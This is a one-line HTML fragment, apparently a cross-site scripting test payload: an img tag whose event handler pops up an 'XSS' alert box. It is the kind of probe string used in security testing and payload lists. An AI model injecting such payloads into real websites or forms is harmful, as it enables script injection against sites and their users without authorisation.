<img/src=x onload=alert("XSS")>